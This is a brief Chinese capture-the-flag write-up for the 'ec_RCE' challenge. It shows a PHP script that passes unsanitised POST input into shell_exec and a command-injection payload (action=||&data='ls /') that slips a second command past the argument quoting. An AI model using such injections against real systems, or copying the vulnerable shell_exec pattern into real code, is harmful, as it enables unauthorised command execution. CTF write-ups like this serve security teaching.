[NSSRound#7 Team]ec_RCE

[NSSRound#7 Team]ec_RCE

解题

<?PHP
    
    if(!isset($_POST["action"]) && !isset($_POST["data"]))
        show_source(__FILE__);

    putenv('LANG=zh_TW.utf8'); 

    $action = $_POST["action"];
    $data = "'".$_POST["data"]."'";

    $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
    echo $output;    
?>

shell_exec()函数，讲白了就是可以执行“”里的内容并保存到output里

前面的

/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar

看着挺长其实没有什么用，将其当成127.0.0.1就行

所以，直接使用管道符让后面的data进行命令执行,因为有‘’包裹data

我们也包裹一层，让其不影响传参

action=||&data='ls /'